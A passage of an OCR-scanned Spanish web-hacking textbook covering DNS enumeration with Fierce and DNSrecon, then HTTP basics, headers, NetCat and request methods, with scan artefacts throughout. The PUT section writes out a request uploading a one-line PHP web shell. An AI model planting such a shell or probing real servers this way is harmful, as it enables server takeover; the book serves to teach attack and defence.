rango de direcciones IP internas, por ejemplo -range 192.168.1.0-255.
Este parametro debe ir acompafiado de —dnsserver, usado para
especificar un servidor DNS en particular. El comando, finalmente,
seria: perl fierce.pl -range 192.168.1.0-255 —dnsserver ns0.dominio.com.

Es probable que encontremos datos interesantes relacionados

con nuestro dominio objetivo. Como mencionamos antes, Fierce
utiliza un diccionario de palabras para encontrar subdominios, y

en su correspondiente carpeta encontramos esa lista bajo el nombre
hosts.txt, a la cual podemos editar y agregar mas palabras. De todos
modos, si tenemos otro diccionario que consideremos mas completo,
podemos usarlo con el siguiente comando: perl fierce.pl -dns dominio.
com -wordlist mihosts.txt.

=[] root@bt: /pentest/enu...

Figura 34. Fierce (http://ha.ckers.org/fierce)
es una excelente herramienta para el andlisis de DNS.

Seguimos con la herramienta DNSrecon, programada en Python.
Podemos encontrarla en BackTrack, en la misma categoria que Fierce.
El parametro -d especifica el dominio a escanear, mientras que -t
indica el tipo de analisis (las opciones son axfr para testear los
servidores DNS contra una transferencia de zonas, brt para obtener
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los subdominios usando un diccionario y std para la obtencién de
registros SOA, NS, A, AAAA, MX y SRV). Tenemos alln mas parametros
y tipos de analisis, que podemos ver con el comando --help.
Finalmente, armamos un comando con los siguientes parametros:
dnsrecon.py —d dominio.com -t std (std puede ser reemplazado por
cualquier otro tipo de analisis, como por ejemplo axfr).

Estas dos herramientas no son las inicas utilizadas para el
analisis de los DNS dentro de la suite BackTrack y hay muchas otras
recomendables, como DNSenum, DNSmap o DNSwalk.

En este capitulo aprendimos desde cero el funcionamiento de los DNS, conociendo su estructura jerar-

quica, los tipos de consulta (recursiva e iterativa) y el proceso de resolucion de nombres. Instalamos el
servidor DNS BIND9 y aprendimos a manejar las herramientas Dig y Nslookup para analizar registros.
Realizamos técnicas como DNS Brute force, AXFR y otras, de utilidad para la enumeracion de DNS.
Finalmente, aprendimos a proteger nuestro sistema de atacantes que usan estas mismas técnicas.
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Actividades

TEST DE AUTOEVALUACION

(Por qué son necesarios los DNS?

(Cudl es la diferencia entre una consulta recursiva y una iterativa?
:Como esta compuesta la estructura jerarquica de los DNS?
:Como se realiza el proceso de resolucion de nombres?

(Qué es BIND?

(Para qué sirven las herramientas Dig y Nslookup?

;Qué tipos de datos contienen los registros A, NS, SOA y MX?

00 N O O A~ W N =

;Por qué puede ser til para un atacante obtener los subdominios de un
objetivo?

EJERCICIOS PRACTICOS

1 Instale un servidor DNS BINDS.
2 Consulte el registro SOA de un dominio mediante Dig y Nslookup.

3 Realice un ataque de DNS Brute Force mediante la herramienta dnsmap en
Backtrack.

4 Realice una transferencia de zonas (AXFR) utilizando Dig y Nslookup.

B Averigiie la version de BIND y el nombre del host consultando la clase CH.

PROFESOR EN LiNEA

Sitiene alguna consulta técnica relacionada con el contenido, puede contactarse
con nuestros expertos: profesor@redusers.com
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Protocolo HTTP

El protocolo HTTP es utilizado cada vez que ingresamos
a un sitio y navegamos a través de sus paginas. En este

capitulo conoceremos todo lo que hay que saber sobre su
funcionamiento, instalando nuestro propio servidor HTTP.
También analizaremos los métodos de peticion y codigos de
estado mediante la herramienta NetCat, con el fin de obtener

informacion util y, si es posible, apoderarnos del servidor web.

%S

v Introduccion a HTTP............... 84 v HTTP Fingerprinting..............108
v Métodos de peticion.......ccceeuuee 92 oL [ SRR G b
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Introduccion a HTTP

Quiza alguna vez hayamos escuchado hablar de la palabra
hipertexto o hypertext, un término que designa a los textos
que enlazan a otros textos. Un ejemplo son los hipervinculos que
encontramos en todos los sitios web que, al seleccionarlos, nos
conducen a otro documento, imagen o sitio relacionado.

La World Wide Web es un sistema de informacion desarrollado
entre 1989 y 1990 por Tim Berners-Lee, basado en hipertexto o
contenidos enlazados y accesibles a través de internet.

El protocolo HTTP (HyperText Transfer Protocol), como indica su
nombre, es un protocolo de transferencia de hipertexto. Lo usamos
cada vez que navegamos en internet y nos movemos entre pagina
y pagina a través de sus hipervinculos. Funciona sobre el protocolo
TCP/IP (orientado a conexion) y utiliza el esquema peticion-respuesta
entre cliente y servidor.

Adobe

¢ Adobe

Figura 1. La web esta basada en hipertexto. Paginas web, documentos,
y demas, incluyen hipervinculos que enlazan a otros contenidos.

Antes de dedicarnos de lleno al analisis de este protocolo, seria
bueno contar con un servidor HTTP propio. De este modo, podremos
realizar las practicas de todo lo que aprendamos mas adelante. En la
siguiente seccion instalaremos el servidor HTTP Apache.

» www.redusers.com



WEB HACKING USERS .1

Instalacion de Apache

Apache es un servidor HTTP de codigo abierto que funciona en la
mayoria de las plataformas (Windows, Linux, Macintosh, etcétera), y
obtiene soporte de parte de la Apache Software Foundation.

El sitio oficial del software es www.apache.org y, para descargar la
ultima version estable, debemos ingresar a http://httpd.apache.org/
download.cgi. Segin nuestra preferencia podremos obtener el
instalador para Windows o el source para los sistemas Unix.

ebas =
N Dowmisad - The Apacts HTTF Sarcer +
P— L]
e
Esseantialy Downloading the Apache HTTP Server
. Use (e s Desiow 10 Gowniosd the Apache HT TP Senver b e of Our METOns. You must e aniy of the dosmnoaced Ses using signatures downioades fram o
p AN the 15 tamir of reegses. are avatible fiom the
Hrwmino: State Aelease - Labest Verson
...........
2t Supp ¥ you are downioadng the Wini2 datrbution  please read these o ant
Gt beveulved P CUriermy Seset ] mITO1 14 NEIDIADECIE X COM.BE 1 you e DUnler 8 proteem sl Ihis Mt prse secl anctbes metoe |8 marors aie taing hese are 0o
the rmrroes 143 b wssisten
Mee com | Chasge
. ' U Mty Ss0 consufl The Lt
Subprogecs ,
Apache HTTP Server 2.4.6 (hipd): 2.4 6 is the latest avallable version

e of Apache HTTOL

Figura 2. Apache es un servidor HTTP disponible
para la mayoria de las plataformas.

En este caso, instalaremos Apache en Ubuntu Server. Los pasos
a seguir son muy sencillos: desde la terminal, descargamos el
source para luego compilarlo e instalarlo. Una vez descomprimido
el cédigo, nos movemos a la carpeta de Apache y procedemos a
ejecutar el script de configuracion: ./configure --prefix=/ust/local/
apache (de este modo especificamos la ruta donde se instalara el
servidor HTTP). Luego, para compilar, debemos ejecutar make vy,
finalmente, instalamos con el comando make install.

Para comprobar que todo funciona correctamente podemos ejecutar
el comando /usr/local/apache/bin/apachectl start o ingresar desde el
navegador web a la direccion IP de nuestro servidor HTTP (veremos
algo similar a lo que muestra la Figura 3).

www.redusers.com &«



86 [FIH 3. PROTOCOLO HTTP

| £ httpy//192168.1.111/ +
@ 1921681111

It works!

This is the default web page for this server.

The web server software is running but no content has been added. yet.

Figura 3. Siingresamos desde el navegador a la direccioén IP
de nuestro servidor HTTP, podremos saber si funciona correctamente.

También podemos instalar Apache
desde los repositorios de Ubuntu, tan solo
ejecutando el comando sudo apt-get install
apache2. Como sabemos, se instalara con las
configuraciones por defecto.

ApaChe Figura 4. Apache Software Foundation
SO

FTWARE FOUNDATION es la organizacion que da soporte
a este servidor HTTP.

En la web oficial (http://httpd.apache.org/docs) encontramos documentacién sumamente interesante

acerca de Apache. El material esté bien organizado y para cada version del software que existe hay una
correspondiente zona de documentacion relacionada. Podemos encontrar tutoriales, guias de usuario,
manuales y notas sobre todo lo relacionado a este servidor HTTP.
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Seleccion de médulos

Un arquitecto diseia el plano de una construccion teniendo
en cuenta su finalidad. Por ejemplo, si serd un hospital afiadira
las habitaciones que sean necesarias, laboratorios, etcétera. Lo
mismo sucede con una instalacion de Apache, ya que existen
muchas funcionalidades que podemos afiadirle, segtin el objetivo
que persigamos. Los modulos de Apache son agrupaciones de
funcionalidades que podemos anadir a la instalacion y actualmente
existen 540 (podemos ver la lista en: http://modules.apache.org).
Pero, asi como no todas las construcciones necesitan de un laboratorio,
tampoco todas las instalaciones de Apache necesitan, por ejemplo, el
modulo sendmail o SSL. Si hubiera un solo paquete con todo incluido,
se obtendria una instalacion que consumiria muchisimo espacio en el
disco, con funciones que quedarian sin utilizar.

El paquete de Apache, entonces, solo instala lo necesario. Es posible
anadir los modulos que vamos a usar durante el proceso de instalacion
o después, sin necesidad de recompilar el cédigo (podemos utilizar la
herramienta APXS, APache eXtenSion).

Existen modulos de seguridad interesantes. En el capitulo 10
aprenderemos a proteger el interior de nuestro servidor y tendremos
la oportunidad de instalar mod_security.

ot modules.apache.org

Your number one site for Apache HTTP Senves modules

Hentpege  Browse modules  Search  Refwramce docs  Signup Username: Password; @& L3 |

Weicome to modules.apache.org!
This séie provides information about the efforts of web pioneers taking advantage of the powerful module API provided by the Apache web server

The resources in this database offer INks 1o @ broad assorment of contnbuted works from developers around the giobe We offer a place o register and
search for modules and assorled patches thal people have found useful for Apache, but have nol been officialy included as part of the standard Apache
distnbution If you have some work that you would like to share with the community, piease register that information with this database

For the sake of convenience. the old modules apache org site is still available, but has been refocated to- modules apache orgiarchive
Most popular modules right now:

mod_pagespeed For:22 24 Apache License 20 2013-01-31 143203 ¢Popular
Rewrlles htmlicss/jsimages dynamically 1o improve latency and bandwidth

mod_pony No release yet Apache License 2.0 2013-01-31 14:56.35 ¢Popular
Displays a fnendly pony. Or not Depending

mod_auth_dacs For:20.22.2 -t- tm.\er License 2013-03-02 07 27 23 Popular

Authenticaton, authorzation. and single sign-on

mod_proxy msrpc No release yet Apache License 20 2013-04-25 145304 wPopular!
Apache module for Outiook Anywhere passthrough support in reverse prory setups

Figura 5. La pagina http://modules.apache.org facilita
la busqueda de modulos para la instalacién de Apache.
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Herramientas utiles

En la primera parte de este capitulo explicamos que el protocolo
HTTP usa el esquema de peticion-respuesta. Las conexiones entre
cliente y servidor se establecen mediante cabeceras o headers que
especifican determinadas cosas.

En las cabeceras de peticion se indica, por ejemplo, qué tipo
de lenguaje y codificacion acepta el navegador web, mientras que
en las cabeceras de respuesta se pueden ver datos del servidor,
entre otras cuestiones.

Seria atil una herramienta que mostrara las cabeceras que envia
nuestro navegador web y las respuestas que recibe. También tendria
utilidad un programa que realice conexiones sobre TCP/IP de modo
que no sea necesario capturar la conexion para luego modificarla.

Tales herramientas existen. A continuacién, conoceremos dos que
realizan estas tareas. Cabe destacar que no son las Gnicas herramientas
utiles en este campo ya que las demas actian de forma similar, por
ende, si aprendemos a utilizar una de ellas, sera facil comprender el
funcionamiento de las otras.

Live HTTP headers

Live HTTP headers es un complemento para Firefox que permite
capturar todo el trafico del protocolo HTTP y mostrarlo en una ventana.
A partir de ahi podemos editar las cabeceras y reenviarlas con el
contenido modificado.

Podemos obtener esta herramienta buscando su nombre en
el sitio web de add-ons para Firefox. Una vez instalada, accedemos
a ella desde el menu de herramientas y nos mostrara una ventana
que capturara todo el trafico HTTP que generemos a partir de
ese momento.

Live HTTP headers y NetCat no son las tnicas herramientas que sirven para trabajar sobre el protocolo

HTTP. Tamper Data es otro add-on para Firefox, muy bueno, que permite capturar las cabeceras HTTP
y modificarlas. Cryptcat funciona como NetCat, pero cifrando el tréfico.
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48 Live HTTP headers e

Cabeceras | Generador | Configuracion | Acerca de |

Cabeceras HTTP

hitp://www.redusers.com/

GET /HTTP/L1 @ Repeticion Live HTTP S ==
Host: www.redusers.com =
User-Agent: Mozilla/5.0 (Windows NT6.1; n| |GET X, | http://www.redusers.com/ HTTP/L1

Accept: text/html application/xhtml+xmlag  cabeceras HTTP
Accept-Language: es-ar,es;q=0.8,en-us;q=0)

; Host: www.redusers.com -
Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept-Charset: 150-8859-1,utf-8;q=0.7,%,q9  Accept: text/html,application/xhtml+xml,application/xml;q=039,%/%q=08
Keep-Alive: 115 Accept-Language: es-ar,es;q=08,en-us:q=0.5,en;q=0.3 -
Connection: keep-alive Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1, utf-8;q=0.7,%q=0.7
Keep-Alive: 115

Connection: keep-alive

HTTP/1.1 302 Found Cookie: FlagPais=ar; PaisCode=ar;

Server: Apache/2.2 < ~— TNETTNAT 1 ANEAENNED 13N0AI7I4T 13N0EI71I4T 1IN0EIIEAT 2.

Cookie: FlagPais=ar; PaisCode=ar; _utma=

Content-Type: text/html; charset=UTF-8
Date: Tue, 21 Jun 2011 19:44:07 GMT

Locatinn: httn: (s radicars com (noticial

« 1
Guardar Todo... | | Repetir...

iEnwiar contenido POST?

Figura 6. Live HTTP headers es un add-on, o complemento
para Firefox, que nos permite modificar las cabeceras y reenviarlas.

Auln no explicamos en detalle el contenido de estas cabeceras, asi

que es logico que nos preguntemos para qué capturarlas y modificarlas.

A continuacién, entenderemos los peligros que envuelve este
protocolo, que afectan sobre todo a un servidor HTTP mal configurado.

NetCat

NetCat es una herramienta de red con muchisimas utilidades, por
lo que se la conoce también como la “navaja suiza” de los hackers. En
nuestro caso, solo nos interesa para poder realizar conexiones sobre
TCP/IP a un servidor HTTP. Podemos descargarla desde la siguiente
direccion: http://netcat.sourceforge.net/download.php, donde
encontraremos todas sus versiones.

Accedemos a NetCat desde la terminal de nuestro sistema operativo.
Para tener una idea de los parametros existentes, podemos ejecutar nc -h.

El parametro -v sirve para ver mas informacién. Si no nos alcanza,
puede agregarse otra v mas. Para realizar una simple conexioén a un
servidor HTTP el comando seria: nc —-vv www.sitiowebh.com 80, que nos
abre una comunicacion con sitioweb.com y permite hacer peticiones
con los headers definidos por nosotros mismos. Basicamente, lo que
queremos es dialogar con el servidor.
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E¥ Administrador: Simbolo del sistema Lo |[E] =]

C:\Users\shey\Documents>nc -vv wuu. .com 88
Warning: inverse host lookup failed for 98. : h_errno 11884: NO_DATA

wbe . 229 88 <(http> open

ext/html; charset
un 2011 B4:37:
A/ - -.comn/
—Encoding: chunked
on: Keep-Alive
Set—Cookie: ¥—Mapping—lnmnkdnk=458E3B4DD436106628449CD378CHE8757; path=/

sent 36. rcvd 28%9: NOTSOCK

C:\Users~shey\Documents>

Figura 7. NetCat, también conocido como navaja suiza,
es una excelente herramienta de red.

Dialogo con el servidor HTTP

Ya que HTTP funciona sobre TCP/IP, es necesario establecer una
conexion con el servidor a fin de enviar y recibir datos. En caso de
que ésta finalice y necesite transferir ain mas datos, se vuelve a
iniciar otra comunicacion.

Como dijimos, nosotros queremos conversar un rato con el servidor
HTTP, y para eso establecimos una comunicacion mediante NetCat. En
primer lugar abrimos la conexiéon nc -vv www.sitioweh.com 80. Una vez
confirmado que el puerto esta abierto, procedemos a definir las cabeceras.

El método de peticion, junto con sus respectivos parametros, es lo
primero que debemos definir. De ese modo, le indicamos al servidor
HTTP qué es lo que tiene que hacer.

WebDAV es una extension para el protocolo HTTP desarrollada por un grupo de trabajadores del IETF. El

objetivo fue afadir funcionalidades sobre los archivos de un servidor HTTP: copiar, mover, bloguear, etcé-
tera. Los métodos que agrega son: PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK y UNLOCK.
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Podemos seguir por la cabecera host, que define justamente a donde
se enviara nuestra peticién. Existen muchas mas cabeceras, pero no
todas son necesarias. Esta vez, haremos un dialogo sencillo.

* root@bt: ~
Edit View Terminal Help

Figura 8. Con la ayuda de NetCat realizamos un dialogo sencillo
con el servidor HTTP de un sitio web.

En el didlogo que podemos ver en la Figura 8, solicitamos la pagina
principal de un sitio web. A continuacién, identificamos la peticion y la
respuesta:

Peticion:

GET /index.html HTTP/1.1
Host: sitioweb.com

Respuesta:

HTTP/1.1 200 OK
Date: Wed, 22 Jun 2011 21:50:11 GMT
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Server: Apache
Transfer-Encoding: chunked
Content-Type: text/html

<html> Todo el cédigo HTML de la pagina solicitada </html>

La cuestion es: jde qué le sirve a un hacker dialogar con un servidor
HTTP? La respuesta es: le sirve de mucho. Con la simple lectura de las
cabeceras de respuesta se puede obtener informacioén util e, incluso, poner
en peligro todo el servidor web si existen configuraciones inadecuadas.

Metodos de peticion

El protocolo HTTP fue desarrollandose durante la década del 90.
Comenz6 tolerando un s6lo método, el GET, en su version HTTP/0.9
(la cual al dia de hoy, debido a su sencillez, es obsoleta, ya que ni siquiera
era posible trabajar con cabeceras). Luego, en 1996, se presentoé la versiéon
HTTP/1.0 con mas métodos de peticion: GET, POST y HEAD. También
se afadio el soporte para las cabeceras HTTP. Finalmente, en 1999 llegé la
version HTTP/1.1, que actualmente utilizan la mayoria de los servidores,
y se agregaron mas métodos de peticién a los tres anteriormente
nombrados (algunos son OPTIONS, PUT y TRACE).

Una vez que establecemos la conexion, el método es lo primero
que debemos especificar. No existen muchos; analizaremos seis de
ellos realizando consultas y obteniendo informacién ttil mediante sus
respuestas. Aprenderemos a usar algunos como vectores de ataque
hacia el servidor web.

OPTIONS

El método OPTIONS fue incluido en la version HTTP/1.1. No es
obligatorio implementarlo, lo que significa que no siempre estara
habilitado. De hecho, se recomienda deshabilitar, siempre, todo lo
gque no sea necesario.
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Este método realiza una peticién de
informacién a un recurso especifico del servidor,
sobre las diferentes opciones de comunicaciéon
habilitadas. La consulta esta conformada por el
método, el recurso y la versién del protocolo:
OPTIONS /index.html HTTP/1.1. En caso de que la
peticién no sea dirigida a un recurso especifico,
se reemplaza por un asterisco: OPTIONS *
HTTP/1.1; esto equivale a un PING que va dirigido
al servidor en general y nos sirve para saber si se
encuentra en funcionamiento.

% root@bt: ~

File Edit

USERS VL]

LA MAYORIA DE

LOS SERVIDORES
ACTUALES UTILIZA
LA VERSION HTTP/1.1
DEL PROTOCOLO

Figura 9. Si en lugar de especificar un recurso usamos
un asterisco (*), funcionaréd como un PING al servidor.

En la Figura 10 solicitamos los métodos permitidos a un servidor
y, dado que OPTIONS estaba habilitado, nos respondio lo que

queriamos saber en la cabecera Allow. Alli podemos ver que las
opciones de comunicacién que estan permitidas en ese servidor son:

OPTIONS, TRACE, GET, HEAD y POST.

Podria decirse que esta informacién le ahorra bastante tiempo
a un atacante, ya que es mas rapido averiguar, de una sola vez,
todas las opciones de comunicacién que estan permitidas, que estar

intentando manualmente método por método.
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X root@bt: ~

w Terminal Help

Figura 10. El método OPTIONS consulta las opciones
de comunicacion permitidas en un servidor.

GET

En su primera version (HTTP/0.9) el protocolo contaba con
tan solo un método, el GET, que era y es obligatorio implementar
en todos los servidores. Se encarga de realizar la peticiéon de todas
las paginas o recursos que queremos visualizar y, podemos decir,
es el método HTTP mas utilizado.

En la version actual del protocolo (HTTP/1.1), GET sigue cumpliendo
la misma funcién. Sin embargo, el soporte para las cabeceras permite
definir mas cosas haciendo que la peticiéon sea mas compleja.

Capturamos, con la herramienta Live HTTP headers, una peticion
GET realizada al sitio web de RedUsers, donde encontramos las
siguientes cabeceras:

User Agent Switcher es un add-on para Firefox que sirve para cambiar el agente de usuario que ten-

gamos por cualquier otro. Ya sea predefinido en la herramienta (como iPhone 3.0, Internet Explorer, los
robots de busqueda de Google, Yahoo y MSN) u otro agregado manualmente por nosotros.
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GET/HTTP/1.1

Host: www.redusers.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Accept-Charset: IS0-8859-1,utf-8;94=0.7,*;9=0.7

Connection: keep-alive

Vemos una cabecera nueva: User-Agent, que envia algunos datos
sobre nosotros al servidor. Entre esos datos se encuentra nuestro
navegador (con su correspondiente version) y el sistema operativo que
estamos usando. Lo interesante es que facilmente podemos falsificar
esta informacion, por ejemplo, modificandola de tal modo que para el
servidor estemos usando el navegador Opera en Ubuntu 12.4.

* root@bt: ~

Figura 11. Gracias a las cabeceras HTTP podemos
hacer una consulta mas compleja.

Seguimos con la cabecera Accept. Su nombre nos da una idea de lo

que indica: se trata del tipo de contenido que acepta el cliente, es decir,
nosotros. El formato es: tipo/subtipo.
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Text/HTML indica que aceptamos texto HTML, text/plain texto plano,
image/jpg imagenes en formato .jpg. También podemos usar asteriscos
(*). Por ejemplo, image/* indica que aceptamos imagenes en todo tipo
de formato y */* significa que aceptamos todo tipo de contenidos.

Si leemos detenidamente la peticion citada antes, podemos notar
en varias cabeceras indicaciones similares a g=0.3, que especifican
prioridades. Por ejemplo, la linea image/jpy; g=1, image/png; g=0.9, image/*;
g=0.8 indica que preferimos las imagenes en formato .jpg (ya que tiene
el valor mas alto: g=1), luego .png y por altimo cualquier otro formato.

Luego, tenemos tres cabeceras mas que indican tipos de
aceptaciones: Accept-Language, Accept-Encoding v Accept-Charset. La
primera indica el idioma que aceptamos (el servidor debe disponer
de tales traducciones y podemos especificar con prioridades mas de
un idioma con su respectivo subtipo, por ejemplo: es-ar, es;q=0.8, en-us;
g=0.5). Accept-Encondig indica los tipos de codificacién que entiende
nuestro cliente y también pueden especificarse prioridades. Por
ultimo, Accept-Charset indica las tablas de caracteres que aceptamos
(por ejemplo, Unicode, utf-8, etcétera).

Finalmente, vemos en nuestra peticion la cabecera Connection, que
simplemente indica el estado de la conexion. En caso de que diga keep-
alive, continua abierta para futuras peticiones; de lo contrario dira close.

% root@bt: ~

File Edit View Terminal Help

MIHHLEKHGDIOOC; path=/

Figura 12. Las cabeceras Accept de contenidos, lenguajes,
caracteres y codificaciones permiten especificar prioridades.
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Una vez definidas todas las cabeceras que queremos anadir a
nuestra peticion, ésta se envia al servidor, que responde con otra serie
de cabeceras y muestra el contenido que solicitamos. Por ejemplo, si la
peticiéon fue dirigida a la pagina principal de un sitio, encontraremos
todo su codigo HTML a continuacion de la ultima cabecera que
hayamos recibido en la respuesta.

* root@bt: ~

File Edit View Terminal Help

Figura 13. El método GET solicita los recursos que queremos
ver y, en caso de tratarse de una pagina web, nos mostrara
su codigo HTML al final de la respuesta.

Es cierto que GET es un método que usamos todos los usuarios
de internet cada vez que navegamos entre sitios web y solicitamos los
recursos que necesitamos ver. Pero lo interesante para un hacker esta en
las cabeceras HTTP. Es bueno saber cuales son y qué define cada una
de ellas, de modo que podamos jugar y experimentar con sus valores tal
como hicimos con el User-Agent al hacernos pasar por otro cliente. Sin
embargo, existen otros métodos que pueden ser de mayor utilidad.

POST

Después de GET, llegaron con la version HTTP/1.0 dos métodos
mas. Uno de ellos es POST, que solicita el envio de datos del cliente
al servidor (contrariamente a GET que, como sabemos, solicita la

www.redusers.com &«



98 [==45 3. PROTOCOLO HTTP

recepcion de datos). Utilizamos el método POST, por ejemplo, al enviar
un mensaje en un foro, identificAandonos mediante nuestro usuario y
contrasefia en un sitio web o cuando hacemos uso de un uploader
para subir imagenes o cualquier otro contenido.

El método POST requiere definir una cabecera que atin no hemos
visto, Content-Length, que indica la cantidad de caracteres que posee
el contenido que vamos a enviarle al servidor. Como ejemplo, vamos a
tratar con un formulario de suscripcién que nos pide nuestro nombre,
empresa y correo electronico. El contenido a enviar es: nomhre=Sheila&
empresa=Hackersenlaweh&email=shey.x7%40gmail.com, lo que equivale a 62
caracteres, por lo cual el Content-Length tendra el valor de 62. Armamos
la consulta de la siguiente manera:

POST /suscripcion.php HTTP/1.1
Host: www.sitiowebasuscribirnos.com
Content-Length: 62

nombre=Sheila&empresa=Hackersenlaweb&email=shey.x7%40gmail.com

En la Figura 14 podemos ver cémo enviamos la consulta al
servidor, especificando el método POST, el recurso, el Content-Length
y, por supuesto, los datos que nos pide el formulario de suscripcion.

Con una agradable sensacion de éxito visualizamos la respuesta
del servidor, agradeciéndonos por habernos suscripto.

La cabecera Content-Length resulta interesante para el hacker,
porque el servidor al cual se envia la consulta tendra en cuenta solo
el contenido que esté dentro de la cantidad de caracteres indicada.
Por ejemplo, si le asignamos a Content-Length un valor

El método CONNECT se anadio en la version HTTP/1.1 del protocolo. No es muy comtn verlo habilita-

do, pero se usa en proxys que pueden funcionar como tinel SSL. Podemos encontrar algo de informacion
en los RFC propios del protocolo (RFC 2616) y, por supuesto, en documentos de internet.
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de 82 caracteres y el contenido que le enviamos posee 350,
el servidor tendra en cuenta solo los primeros 82 caracteres
del contenido e ignorara el resto.
Con un poco de imaginacién podemos jugar con esta cabecera y
evadir filtros o sistemas de seguridad para poder vulnerar un sitio.

* root@bt: ~

Figura 14. El método POST solicita el envio de datos del cliente
al servidor, al contrario de GET que solicita la recepcion de datos.

HEAD

El otro método de la version HTTP/1.0 es HEAD, que solicita los
headers del servidor. La Uinica diferencia con GET es que no muestra
todo el c6digo HTML de la pagina; por ejemplo, si realizamos una
peticion a /index.html, respondera solo con las cabeceras.

La consulta que vamos a realizar es muy simple. Debemos
especificar el método (que, por supuesto, es HEAD), luego el recurso,

la version del protocolo y, debajo, el host al cual va dirigida la peticion.

Peticion:

HEAD /index.html HTTP/1.1
Host: www.sitioweb.com.ar

www.redusers.com
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Respuesta:

HTTP/1.1 200 OK

Server: Apache/2.2

Content-Type: text/html; charset=UTF-8

Date: Wed, 29 Jun 2011 04:39:05 GMT
Connection: Keep-Alive

Last-Modified: Wed, 28 Jun 2011 01:23:58 GMT

v % root@bt: ~
it View Terminal

Figura 15. El método HEAD muestra las cabeceras del recurso
que consultemos; tales datos pueden servir para un ataque posterior.

Analicemos la respuesta del servidor:

e Server: es una cabecera realmente interesante para realizar un
ataque, ya que muestra informacién sobre el software que utiliza
el servidor.

e Content-Type: combina los headers Accept y Accept-Charset (por eso
vemos en primer lugar text/html y luego, tras el punto y coma,
charset=UTF-8).

e Date: indica fecha y hora en que se genero la respuesta del servidor.
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e Connection: mencionado anteriormente, en este caso mantiene
la conexion abierta (Keep-Alive).

e Last-Modified: dice cuando fue la fecha y hora en que el recurso
solicitado fue modificado por tltima vez.

Estos son datos que un hacker tendra presentes a la hora de realizar
un ataque al servidor, sobre todo la cabecera Server, acerca de la cual
hablaremos un poco mas en las proximas secciones del capitulo.

TRACE

Al igual que un espejo o reflejo, el método TRACE (incorporado
en la version HTTP/1.1) responde lo mismo que recibe. Con esto
podemos saber como le llega la peticion al servidor y realizar pruebas
para obtener su diagnostico. Después del método, en la consulta debe
especificarse lo que se va enviar, por ejemplo:

Peticion:

TRACE /hola HTTP/1.1
Host: www.sitiocontrace.com

Respuesta:

TRACE /hola HTTP/1.1
Host: www.sitiocontrace.com

444

Existen aln mas cabeceras de las nombradas en este capitulo. Algunas son: Accept-Ranges,
Age, Authorization, Cache-Control, Content-Range, ETag, If-Match, If-Modified-Since, Max-
Forwards y Referer. Para conocer mas al respecto se puede consultar el RFC 2616, perteneciente

a este protocolo.
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No, no nos hemos equivocado, la consulta y la respuesta son lo mismo.
Tal como dijimos, el método TRACE funciona como un reflejo (Figura 16).

x root@bt: ~
File Edit View Terminal Help

Figura 16. El método TRACE funciona como un espejo
o reflejo, respondiéndonos lo mismo que enviamos.

PUT

Llegamos al método PUT, uno de los mas interesantes, ya que si
esta habilitado se podria llegar a obtener muy facilmente el control
del servidor. Lo que hace este método es subir/sobrescribir un
determinado archivo con el contenido que especifiquemos en la misma
peticion. El funcionamiento es simple: se realiza la peticion al recurso
especificado, si éste existe se sobrescribira el contenido por el que
nosotros queramos o, en caso de que no exista, se creara uno nuevo.

Quiza nos preguntemos... ;cOmo un atacante tomaria control del
servidor con este método?;No seria mas interesante borrar archivos
o descargar informacion confidencial? La respuesta esta en el tipo de
contenido que se puede subir con este método. Por ejemplo, un simple
codigo en lenguaje PHP que nos permita ejecutar comandos en el
servidor seria una excelente idea, desde el punto de vista del atacante.

Por otra parte, debemos saber que PUT requiere, al igual que POST,
especificar el Content-Length de lo que se va a subir. Un ejemplo de
peticion seria el siguiente:
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PUT /siloabreexplota.php HTTP/1.1
Host: sitiowebconput.com
Content-Length: 33

<?php system($_GET[‘comando’]); ?>

Esta peticion sobrescribira o creara (segin

corresponda) un archivo llamado siloabreexplota. CON EL METODO
php, que contiene un c6digo en el lenguaje PHP PUT ES MAS
(<?php system($_GET[‘comando’]);?>) con la funcion ,

system, que sirve para ejecutar comandos en el FACIL OBTENER
servidor. Hoy no es comun encontrar servidores EL CONTROL DEL
con este método activado debido a lo peligroso

que puede llegar a ser, pero en versiones viejas SERVIDOR

de algunos servidores viene habilitado por defecto.

En caso de que encontremos alguno de ellos
tenemos que saber que puede llegar a pedirnos autenticacién al usarlo
y que el directorio o archivo puede tener permisos de solo lectura, de
modo que no podamos subir el archivo de forma tan facil.

* root@bt: ~
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Figura 17. El método PUT permite subir o sobrescribir
un determinado archivo del servidor con el contenido que queramos.
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Caodigos de estado HTTP

Seguramente hemos visto que cuando el servidor HTTP responde a
nuestra peticiéon, en primer lugar nos devuelve un cédigo junto a una
breve descripciéon. Estos codigos indican el estado en que se encuentra
nuestra consulta. Por ejemplo, si fue realizada correctamente o no, si
fue rechazada, bloqueada o redireccionada, si solicitamos un recurso
inexistente o que ha sido movido a otro lugar, etcétera.

En esta seccion del capitulo conoceremos los codigos de estado
HTTP que vemos con mas frecuencia, organizados por los siguientes
criterios: peticiones correctas, redirecciones, errores del cliente y
errores del servidor. Es importante conocerlos ya que, en caso de que
la peticion no haya podido llevarse a cabo, podremos saber con mas
exactitud el motivo por el cual no se pudo realizar.

Peticiones correctas

Hablando de peticiones que se realizan con éxito, el codigo que mas
vemos es el 200 0K, que nos informa que todo salié bien. En casi todos
los métodos, cuando la peticion es realizada correctamente se devuelve
un 200 OK (por ejemplo, al usar GET vy solicitar una pagina que se
encuentra disponible, al enviar informacion al servidor mediante POST
y que llegue bien, o si solicitamos los headers de un recurso y podemos
verlos correctamente).

Si usamos el método PUT y creamos un nuevo archivo en el
servidor, en caso de que resulte con éxito se nos informa con el codigo
201 Created. También ocurre con POST cuando se crea un nuevo recurso
como consecuencia de la informacion que hayamos enviado.

El método DELETE, anadido en la version HTTP/1.1 del protocolo, tal como su nombre lo indica

permite borrar o eliminar archivos del servidor. Por supuesto, no sera facil encontrarlo habilitado
y, si tenemos la suerte de que esté permitido en algln servidor, es probable que nos pida autori-

zacion para usarlo.
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x root@bt: ~
Tem Help

Figura 18. Recibimos el codigo 200 OK siempre
que nuestra peticion se haya realizado correctamente.

